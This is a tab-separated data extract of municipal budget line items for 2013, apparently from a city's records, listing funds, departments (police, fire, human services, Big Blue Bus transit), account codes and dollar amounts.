865	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522180.0	BANK FEES		 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
866	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	1734.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1734.0
867	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
868	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2013	14400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14400.0
869	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	1475.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1475.0
870	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	4303.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4303.0
871	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	527.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	527.0
872	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	10931.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10931.0
873	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	15685.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15685.0
874	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	89500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	89500.0
875	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	28505.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28505.0
876	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561131.0	OPCC-CASE MGMT-GENERAL FUND		 Supplies and Expenses	2013	120297.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120297.0
877	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561143.0	ST JOE-SHELTER PLUS CARE PROG		 Supplies and Expenses	2013	35890.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35890.0
878	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562281.0	YOUTH DEVELOPMENT PROJECT		 Supplies and Expenses	2013	272790.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	272790.0
879	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563111.0	WISE CONNECTIONS		 Supplies and Expenses	2013	46125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46125.0
880	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565271.0	SOJOURN/DOMESTIC VIOLENCE NTWR		 Supplies and Expenses	2013	7037.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7037.0
881	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522976.0	LNG FUEL TAXES		 Supplies and Expenses	2013	260000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	260000.0
882	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
883	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2013	204941.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	204941.0
884	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2013	76133.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76133.0
885	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2013	64042.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	64042.0
886	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2013	6716439.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6716439.0
887	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2013	144181.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	144181.0
888	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	15567.0	0	0.0	0.0	0	0	0.0	850	0.0	0	0	0.0	16417.0
889	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	8690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8690.0
890	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	193579.0	0	0.0	-47.0	0	0	0.0	0	0.0	0	0	0.0	193532.0
891	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511250.0	STANDBY PAY	816.0	Salaries and Wages	2013	29553.0	0	0.0	0.0	0	0	0.0	296	0.0	0	0	0.0	29849.0
892	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	13969.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13969.0
893	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533580.0	COMPUTER/SOFTWARE MAINTENANCE	806.0	 Supplies and Expenses	2013	476926.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	476926.0
894	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555110.0	LEGAL EXPENSE	806.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
895	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2013	2866.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2866.0
896	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	18465870.0	0	0.0	0.0	0	0	0.0	37840	0.0	0	0	0.0	18503710.0
897	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511490.0	OVERTIME	806.0	Salaries and Wages	2013	3131738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3131738.0
898	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
899	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
900	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2013	1565.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1565.0
901	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	8500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8500.0
902	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
903	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2013	38692.0	0	0.0	0.0	0	0	0.0	387	0.0	0	0	0.0	39079.0
904	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2013	342.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	342.0
905	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2013	5014.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5014.0
906	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2013	15136.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15136.0
907	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	1101.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1101.0
908	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2013	84660.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	84660.0
909	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	41054.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41054.0
910	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	1461267.0	0	0.0	0.0	0	0	0.0	122	0.0	0	0	0.0	1461389.0
911	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2013	216705.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216705.0
912	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2013	72131.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72131.0
913	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE		 Supplies and Expenses	2013	-97066.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-97066.0
914	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522974.0	LNG FUEL-REVENUE VEHICLES		 Supplies and Expenses	2013	4000000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000000.0
915	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	26644.0	0	0.0	0.0	0	0	0.0	266	0.0	0	0	0.0	26910.0
916	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	11303.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11303.0
917	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2013	22566.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22566.0
918	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
919	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2013	5141.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5141.0
920	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	87640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87640.0
921	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	3400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3400.0
922	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
923	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563121.0	CARE MANAGEMENT		 Supplies and Expenses	2013	205000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	205000.0
924	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563141.0	SM/MAL-MEALS ON WHEELS-GEN FND		 Supplies and Expenses	2013	48488.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48488.0
925	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533660.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
926	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	24900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24900.0
927	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2013	630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	630.0
928	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544190.0	USAR SUPPLIES	806.0	 Supplies and Expenses	2013	9000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9000.0
929	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405920.0	TIDE SHUTTLE HOTEL REVENUE	650.0	Charges for Service	2013	-193024.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-193024.0
930	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2013	371085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	371085.0
931	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2013	128165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	128165.0
932	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	13905.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13905.0
933	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	249758.0	0	0.0	0.0	0	0	0.0	6097	0.0	0	0	0.0	255855.0
934	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	56376.0	0	0.0	0.0	0	0	0.0	564	0.0	0	0	0.0	56940.0
935	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404400.0	AFFORD HSING PROD PRGM DEVELOP	622.0	Other	2013	-600000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-600000.0
936	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	605053	0	0.0	605053.0
937	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1570	0	0.0	1570.0
938	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2013	9200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9200.0
939	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2013	57400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57400.0
940	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
941	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522544.0	GRAPHIC DESIGN		 Supplies and Expenses	2013	47500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47500.0
942	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544119.0	PUBLIC RELATIONS SVC.		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
943	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	910.0	 Supplies and Expenses	2013	252521.0	0	0.0	0.0	0	0	0.0	40087	0.0	0	0	0.0	292608.0
944	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402650.0	NON-TRANSP REV-OPER	662.0	Other	2013	-25500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25500.0
945	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404220.0	OTHER OPER REV-MISCELLANEOUS	650.0	Charges for Service	2013	-44000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-44000.0
946	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2013	-9300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9300.0
947	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2013	16198.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16198.0
948	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2013	2632.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2632.0
949	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2013	-35700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35700.0
950	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407560.0	SPECIAL INSPECTION FEES	612.0	Charges for Service	2013	-22440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22440.0
951	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2013	250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250000.0
952	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	6571.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6571.0
953	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
954	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	43751.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43751.0
955	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	28353.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28353.0
956	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2013	20482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20482.0
957	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	577130.0	CONSUMER PROTECTION UNIT	804.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
958	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	577140.0	DISABILITY ACCOMODATIONS	804.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
959	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2013	-31163.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31163.0
960	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2013	-11680.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11680.0
961	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522986.0	CNG FUEL-SERVICE VEHICLES		 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
962	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
963	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555320.0	ANIMAL SHELTER SUPPORT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	102794.0	0	0	0.0	0	0.0	0	0	0.0	102794.0
964	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555340.0	DOG/CAT NEUTER SERVICES	806.0	 Supplies and Expenses	2013	0.0	0	0.0	21433.0	0	0	0.0	0	0.0	0	0	0.0	21433.0
965	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2013	4004.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4004.0
966	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
967	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522950.0	CNG FUEL		 Supplies and Expenses	2013	714.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	714.0
968	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	2845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2845.0
969	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	9388.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9388.0
970	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	5711.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5711.0
971	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
972	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	101047.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	101047.0
973	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561133.0	OPCC-DAYBREAK DAY CTR-GEN FND		 Supplies and Expenses	2013	227105.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	227105.0
974	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562121.0	COMPREHENSIVE CHILD CARE PROG		 Supplies and Expenses	2013	771172.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	771172.0
975	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562361.0	ST JOE-FAM SELF SUF PRG-GEN FD		 Supplies and Expenses	2013	105670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105670.0
976	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563122.0	ADULT DAY CARE		 Supplies and Expenses	2013	131428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	131428.0
977	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544280.0	HAZ-MAT SUPPLIES	806.0	 Supplies and Expenses	2013	9000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9000.0
978	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2013	24158.0	0	0.0	0.0	0	0	0.0	242	0.0	0	0	0.0	24400.0
979	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555030.0	EMPLOYEE MEDICAL EXAMS	844.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
980	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511740.0	EMPLOYEE HEALTH INSURANCE	820.0	Salaries and Wages	2013	510500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510500.0
981	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566820.0	SMMUSD JOINT USE AGREEMENT	810.0	 Supplies and Expenses	2013	8282650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8282650.0
982	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	908.0	 Supplies and Expenses	2013	-98910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-98910.0
